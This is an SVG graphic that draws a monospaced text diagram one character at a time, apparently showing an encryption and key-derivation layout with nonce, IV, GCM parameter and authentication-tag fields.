<text text-anchor="middle" x="64" y="100" fill="currentColor">K</text>
<text text-anchor="middle" x="64" y="116" fill="currentColor">C</text>
<text text-anchor="middle" x="64" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="64" y="148" fill="currentColor">O</text>
<text text-anchor="middle" x="64" y="164" fill="currentColor">├</text>
<text text-anchor="middle" x="64" y="180" fill="currentColor">└</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="20" fill="currentColor">B</text>
<text text-anchor="middle" x="72" y="68" fill="currentColor">l</text>
<text text-anchor="middle" x="72" y="84" fill="currentColor">y</text>
<text text-anchor="middle" x="72" y="100" fill="currentColor">D</text>
<text text-anchor="middle" x="72" y="116" fill="currentColor">M</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">M</text>
<text text-anchor="middle" x="72" y="148" fill="currentColor">I</text>
<text text-anchor="middle" x="72" y="164" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="180" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="80" y="20" fill="currentColor">K</text>
<text text-anchor="middle" x="80" y="68" fill="currentColor">g</text>
<text text-anchor="middle" x="80" y="84" fill="currentColor">p</text>
<text text-anchor="middle" x="80" y="100" fill="currentColor">F</text>
<text text-anchor="middle" x="80" y="116" fill="currentColor">S</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">S</text>
<text text-anchor="middle" x="80" y="148" fill="currentColor">D</text>
<text text-anchor="middle" x="80" y="164" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="180" fill="currentColor">─</text>
<text text-anchor="middle" x="88" y="4" fill="currentColor">s</text>
<text text-anchor="middle" x="88" y="20" fill="currentColor">I</text>
<text text-anchor="middle" x="88" y="68" fill="currentColor">I</text>
<text text-anchor="middle" x="88" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="4" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="20" fill="currentColor">D</text>
<text text-anchor="middle" x="96" y="68" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="84" fill="currentColor">F</text>
<text text-anchor="middle" x="96" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="96" y="116" fill="currentColor">l</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="96" y="148" fill="currentColor">1</text>
<text text-anchor="middle" x="96" y="164" fill="currentColor">v</text>
<text text-anchor="middle" x="96" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="96" y="196" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="228" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="244" fill="currentColor">│</text>
<text text-anchor="middle" x="96" y="260" fill="currentColor">│</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">└</text>
<text text-anchor="middle" x="104" y="4" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="84" fill="currentColor">l</text>
<text text-anchor="middle" x="104" y="100" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="104" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="196" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="228" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="84" fill="currentColor">a</text>
<text text-anchor="middle" x="112" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="148" fill="currentColor">2</text>
<text text-anchor="middle" x="112" y="164" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="196" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="228" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">─</text>
<text text-anchor="middle" x="120" y="84" fill="currentColor">g</text>
<text text-anchor="middle" x="120" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="120" y="116" fill="currentColor">g</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="120" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="120" y="164" fill="currentColor">s</text>
<text text-anchor="middle" x="120" y="180" fill="currentColor">r</text>
<text text-anchor="middle" x="128" y="84" fill="currentColor">s</text>
<text text-anchor="middle" x="128" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="148" fill="currentColor">8</text>
<text text-anchor="middle" x="128" y="164" fill="currentColor">i</text>
<text text-anchor="middle" x="128" y="180" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="196" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="228" fill="currentColor">G</text>
<text text-anchor="middle" x="128" y="244" fill="currentColor">├</text>
<text text-anchor="middle" x="128" y="260" fill="currentColor">└</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">[</text>
<text text-anchor="middle" x="128" y="292" fill="currentColor">└</text>
<text text-anchor="middle" x="136" y="116" fill="currentColor">h</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">p</text>
<text text-anchor="middle" x="136" y="148" fill="currentColor">4</text>
<text text-anchor="middle" x="136" y="164" fill="currentColor">o</text>
<text text-anchor="middle" x="136" y="180" fill="currentColor">p</text>
<text text-anchor="middle" x="136" y="196" fill="currentColor">o</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">l</text>
<text text-anchor="middle" x="136" y="228" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="244" fill="currentColor">─</text>
<text text-anchor="middle" x="136" y="260" fill="currentColor">─</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">0</text>
<text text-anchor="middle" x="136" y="292" fill="currentColor">─</text>
<text text-anchor="middle" x="144" y="100" fill="currentColor">N</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="148" fill="currentColor">0</text>
<text text-anchor="middle" x="144" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="144" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="196" fill="currentColor">n</text>
<text text-anchor="middle" x="144" y="212" fill="currentColor">g</text>
<text text-anchor="middle" x="144" y="228" fill="currentColor">M</text>
<text text-anchor="middle" x="144" y="244" fill="currentColor">─</text>
<text text-anchor="middle" x="144" y="260" fill="currentColor">─</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">]</text>
<text text-anchor="middle" x="144" y="292" fill="currentColor">─</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="152" y="164" fill="currentColor">:</text>
<text text-anchor="middle" x="152" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="196" fill="currentColor">t</text>
<text text-anchor="middle" x="152" y="212" fill="currentColor">o</text>
<text text-anchor="middle" x="152" y="228" fill="currentColor">P</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="148" fill="currentColor">1</text>
<text text-anchor="middle" x="160" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="196" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="160" y="228" fill="currentColor">a</text>
<text text-anchor="middle" x="160" y="244" fill="currentColor">I</text>
<text text-anchor="middle" x="160" y="260" fill="currentColor">I</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">I</text>
<text text-anchor="middle" x="160" y="292" fill="currentColor">c</text>
<text text-anchor="middle" x="160" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="160" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">D</text>
<text text-anchor="middle" x="168" y="148" fill="currentColor">1</text>
<text text-anchor="middle" x="168" y="164" fill="currentColor">0</text>
<text text-anchor="middle" x="168" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="196" fill="currentColor">n</text>
<text text-anchor="middle" x="168" y="212" fill="currentColor">i</text>
<text text-anchor="middle" x="168" y="228" fill="currentColor">r</text>
<text text-anchor="middle" x="168" y="244" fill="currentColor">V</text>
<text text-anchor="middle" x="168" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">M</text>
<text text-anchor="middle" x="168" y="292" fill="currentColor">i</text>
<text text-anchor="middle" x="168" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="168" y="324" fill="currentColor">.</text>
<text text-anchor="middle" x="168" y="340" fill="currentColor">.</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="148" fill="currentColor">3</text>
<text text-anchor="middle" x="176" y="180" fill="currentColor">o</text>
<text text-anchor="middle" x="176" y="196" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="228" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="244" fill="currentColor">:</text>
<text text-anchor="middle" x="176" y="260" fill="currentColor">V</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">P</text>
<text text-anchor="middle" x="176" y="292" fill="currentColor">p</text>
<text text-anchor="middle" x="176" y="308" fill="currentColor">l</text>
<text text-anchor="middle" x="176" y="324" fill="currentColor">g</text>
<text text-anchor="middle" x="176" y="340" fill="currentColor">g</text>
<text text-anchor="middle" x="184" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="184" y="20" fill="currentColor">3</text>
<text text-anchor="middle" x="184" y="36" fill="currentColor">N</text>
<text text-anchor="middle" x="184" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="184" y="68" fill="currentColor">b</text>
<text text-anchor="middle" x="184" y="84" fill="currentColor">0</text>
<text text-anchor="middle" x="184" y="100" fill="currentColor">1</text>
<text text-anchor="middle" x="184" y="116" fill="currentColor">b</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="184" y="148" fill="currentColor">5</text>
<text text-anchor="middle" x="184" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="184" y="196" fill="currentColor">T</text>
<text text-anchor="middle" x="184" y="212" fill="currentColor">h</text>
<text text-anchor="middle" x="184" y="228" fill="currentColor">m</text>
<text text-anchor="middle" x="184" y="260" fill="currentColor">l</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">L</text>
<text text-anchor="middle" x="184" y="292" fill="currentColor">h</text>
<text text-anchor="middle" x="184" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="184" y="324" fill="currentColor">.</text>
<text text-anchor="middle" x="184" y="340" fill="currentColor">.</text>
<text text-anchor="middle" x="192" y="4" fill="currentColor">1</text>
<text text-anchor="middle" x="192" y="20" fill="currentColor">2</text>
<text text-anchor="middle" x="192" y="36" fill="currentColor">O</text>
<text text-anchor="middle" x="192" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="192" y="68" fill="currentColor">3</text>
<text text-anchor="middle" x="192" y="84" fill="currentColor">1</text>
<text text-anchor="middle" x="192" y="100" fill="currentColor">6</text>
<text text-anchor="middle" x="192" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">a</text>
<text text-anchor="middle" x="192" y="148" fill="currentColor">4</text>
<text text-anchor="middle" x="192" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="192" y="196" fill="currentColor">y</text>
<text text-anchor="middle" x="192" y="212" fill="currentColor">m</text>
<text text-anchor="middle" x="192" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="192" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">I</text>
<text text-anchor="middle" x="192" y="292" fill="currentColor">e</text>
<text text-anchor="middle" x="192" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="200" y="36" fill="currentColor">T</text>
<text text-anchor="middle" x="200" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="200" y="116" fill="currentColor">g</text>
<text text-anchor="middle" x="200" y="148" fill="currentColor">9</text>
<text text-anchor="middle" x="200" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="200" y="196" fill="currentColor">p</text>
<text text-anchor="middle" x="200" y="212" fill="currentColor">:</text>
<text text-anchor="middle" x="200" y="228" fill="currentColor">t</text>
<text text-anchor="middle" x="200" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="292" fill="currentColor">r</text>
<text text-anchor="middle" x="200" y="308" fill="currentColor">n</text>
<text text-anchor="middle" x="200" y="324" fill="currentColor">3</text>
<text text-anchor="middle" x="200" y="340" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="208" y="20" fill="currentColor">b</text>
<text text-anchor="middle" x="208" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="208" y="100" fill="currentColor">b</text>
<text text-anchor="middle" x="208" y="116" fill="currentColor">-</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="208" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="208" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="208" y="196" fill="currentColor">e</text>
<text text-anchor="middle" x="208" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="208" y="260" fill="currentColor">:</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">I</text>
<text text-anchor="middle" x="208" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="208" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="208" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="208" y="340" fill="currentColor">2</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">2</text>
<text text-anchor="middle" x="216" y="20" fill="currentColor">y</text>
<text text-anchor="middle" x="216" y="36" fill="currentColor">S</text>
<text text-anchor="middle" x="216" y="52" fill="currentColor">r</text>
<text text-anchor="middle" x="216" y="68" fill="currentColor">(</text>
<text text-anchor="middle" x="216" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="216" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="216" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">D</text>
<text text-anchor="middle" x="216" y="148" fill="currentColor">1</text>
<text text-anchor="middle" x="216" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="216" y="196" fill="currentColor">:</text>
<text text-anchor="middle" x="216" y="228" fill="currentColor">r</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">T</text>
<text text-anchor="middle" x="216" y="292" fill="currentColor">e</text>
<text text-anchor="middle" x="216" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="216" y="324" fill="currentColor">B</text>
<text text-anchor="middle" x="216" y="340" fill="currentColor">1</text>
<text text-anchor="middle" x="224" y="20" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="36" fill="currentColor">H</text>
<text text-anchor="middle" x="224" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="224" y="68" fill="currentColor">a</text>
<text text-anchor="middle" x="224" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="224" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="224" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="224" y="180" fill="currentColor">I</text>
<text text-anchor="middle" x="224" y="228" fill="currentColor">s</text>
<text text-anchor="middle" x="224" y="292" fill="currentColor">x</text>
<text text-anchor="middle" x="224" y="308" fill="currentColor">x</text>
<text text-anchor="middle" x="224" y="340" fill="currentColor">8</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="232" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="36" fill="currentColor">A</text>
<text text-anchor="middle" x="232" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="232" y="68" fill="currentColor">l</text>
<text text-anchor="middle" x="232" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="116" fill="currentColor">d</text>
<text text-anchor="middle" x="232" y="132" fill="currentColor">R</text>
<text text-anchor="middle" x="232" y="148" fill="currentColor">7</text>
<text text-anchor="middle" x="232" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="232" y="340" fill="currentColor">B</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">3</text>
<text text-anchor="middle" x="240" y="20" fill="currentColor">s</text>
<text text-anchor="middle" x="240" y="36" fill="currentColor">-</text>
<text text-anchor="middle" x="240" y="52" fill="currentColor">r</text>
<text text-anchor="middle" x="240" y="68" fill="currentColor">g</text>
<text text-anchor="middle" x="240" y="84" fill="currentColor">y</text>
<text text-anchor="middle" x="240" y="100" fill="currentColor">s</text>
<text text-anchor="middle" x="240" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="240" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="240" y="180" fill="currentColor">f</text>
<text text-anchor="middle" x="240" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="240" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="240" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="248" y="20" fill="currentColor">,</text>
<text text-anchor="middle" x="248" y="36" fill="currentColor">2</text>
<text text-anchor="middle" x="248" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="248" y="68" fill="currentColor">o</text>
<text text-anchor="middle" x="248" y="100" fill="currentColor">,</text>
<text text-anchor="middle" x="248" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="248" y="148" fill="currentColor">6</text>
<text text-anchor="middle" x="248" y="180" fill="currentColor">o</text>
<text text-anchor="middle" x="248" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="248" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="248" y="244" fill="currentColor">1</text>
<text text-anchor="middle" x="248" y="260" fill="currentColor">1</text>
<text text-anchor="middle" x="248" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="248" y="340" fill="currentColor">R</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="256" y="36" fill="currentColor">5</text>
<text text-anchor="middle" x="256" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="68" fill="currentColor">r</text>
<text text-anchor="middle" x="256" y="84" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="256" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="256" y="212" fill="currentColor">6</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">2</text>
<text text-anchor="middle" x="256" y="260" fill="currentColor">6</text>
<text text-anchor="middle" x="256" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="256" y="340" fill="currentColor">S</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="264" y="20" fill="currentColor">p</text>
<text text-anchor="middle" x="264" y="36" fill="currentColor">6</text>
<text text-anchor="middle" x="264" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="264" y="84" fill="currentColor">y</text>
<text text-anchor="middle" x="264" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="264" y="196" fill="currentColor">8</text>
<text text-anchor="middle" x="264" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="264" y="276" fill="currentColor">y</text>
<text text-anchor="middle" x="264" y="308" fill="currentColor">1</text>
<text text-anchor="middle" x="264" y="324" fill="currentColor">→</text>
<text text-anchor="middle" x="264" y="340" fill="currentColor">A</text>
<text text-anchor="middle" x="272" y="20" fill="currentColor">r</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="272" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="272" y="68" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">p</text>
<text text-anchor="middle" x="272" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="272" y="116" fill="currentColor">u</text>
<text text-anchor="middle" x="272" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="272" y="196" fill="currentColor">4</text>
<text text-anchor="middle" x="272" y="212" fill="currentColor">8</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">b</text>
<text text-anchor="middle" x="272" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="272" y="292" fill="currentColor">1</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">1</text>
<text text-anchor="middle" x="272" y="340" fill="currentColor">-</text>
<text text-anchor="middle" x="280" y="20" fill="currentColor">o</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="280" y="68" fill="currentColor">h</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="280" y="116" fill="currentColor">3</text>
<text text-anchor="middle" x="280" y="148" fill="currentColor">p</text>
<text text-anchor="middle" x="280" y="196" fill="currentColor">0</text>
<text text-anchor="middle" x="280" y="212" fill="currentColor">4</text>
<text text-anchor="middle" x="280" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="280" y="260" fill="currentColor">(</text>
<text text-anchor="middle" x="280" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="280" y="292" fill="currentColor">6</text>
<text text-anchor="middle" x="280" y="324" fill="currentColor">4</text>
<text text-anchor="middle" x="280" y="340" fill="currentColor">2</text>
<text text-anchor="middle" x="288" y="20" fill="currentColor">p</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">M</text>
<text text-anchor="middle" x="288" y="52" fill="currentColor">H</text>
<text text-anchor="middle" x="288" y="68" fill="currentColor">m</text>
<text text-anchor="middle" x="288" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="288" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="288" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="288" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="288" y="212" fill="currentColor">0</text>
<text text-anchor="middle" x="288" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="288" y="260" fill="currentColor">1</text>
<text text-anchor="middle" x="288" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="292" fill="currentColor">-</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="288" y="324" fill="currentColor">3</text>
<text text-anchor="middle" x="288" y="340" fill="currentColor">0</text>
<text text-anchor="middle" x="296" y="20" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="296" y="52" fill="currentColor">S</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">/</text>
<text text-anchor="middle" x="296" y="100" fill="currentColor">o</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="296" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="260" fill="currentColor">2</text>
<text text-anchor="middle" x="296" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="292" fill="currentColor">b</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="296" y="324" fill="currentColor">B</text>
<text text-anchor="middle" x="296" y="340" fill="currentColor">4</text>
<text text-anchor="middle" x="304" y="20" fill="currentColor">i</text>
<text text-anchor="middle" x="304" y="52" fill="currentColor">M</text>
<text text-anchor="middle" x="304" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="304" y="100" fill="currentColor">m</text>
<text text-anchor="middle" x="304" y="116" fill="currentColor">(</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">s</text>
<text text-anchor="middle" x="304" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="304" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">s</text>
<text text-anchor="middle" x="304" y="260" fill="currentColor">8</text>
<text text-anchor="middle" x="304" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="304" y="292" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="340" fill="currentColor">8</text>
<text text-anchor="middle" x="312" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">A</text>
<text text-anchor="middle" x="312" y="52" fill="currentColor">-</text>
<text text-anchor="middle" x="312" y="68" fill="currentColor">d</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">f</text>
<text text-anchor="middle" x="312" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">7</text>
<text text-anchor="middle" x="312" y="196" fill="currentColor">3</text>
<text text-anchor="middle" x="312" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="312" y="260" fill="currentColor">-</text>
<text text-anchor="middle" x="312" y="276" fill="currentColor">o</text>
<text text-anchor="middle" x="312" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="20" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">R</text>
<text text-anchor="middle" x="320" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="320" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">l</text>
<text text-anchor="middle" x="320" y="100" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="116" fill="currentColor">.</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">-</text>
<text text-anchor="middle" x="320" y="196" fill="currentColor">5</text>
<text text-anchor="middle" x="320" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="260" fill="currentColor">b</text>
<text text-anchor="middle" x="320" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="292" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="320" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="340" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="20" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">N</text>
<text text-anchor="middle" x="328" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="68" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="116" fill="currentColor">g</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="196" fill="currentColor">4</text>
<text text-anchor="middle" x="328" y="212" fill="currentColor">0</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="328" y="260" fill="currentColor">i</text>
<text text-anchor="middle" x="328" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="20" fill="currentColor">r</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="336" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="68" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">g</text>
<text text-anchor="middle" x="336" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="336" y="116" fill="currentColor">.</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="196" fill="currentColor">9</text>
<text text-anchor="middle" x="336" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="336" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="292" fill="currentColor">G</text>
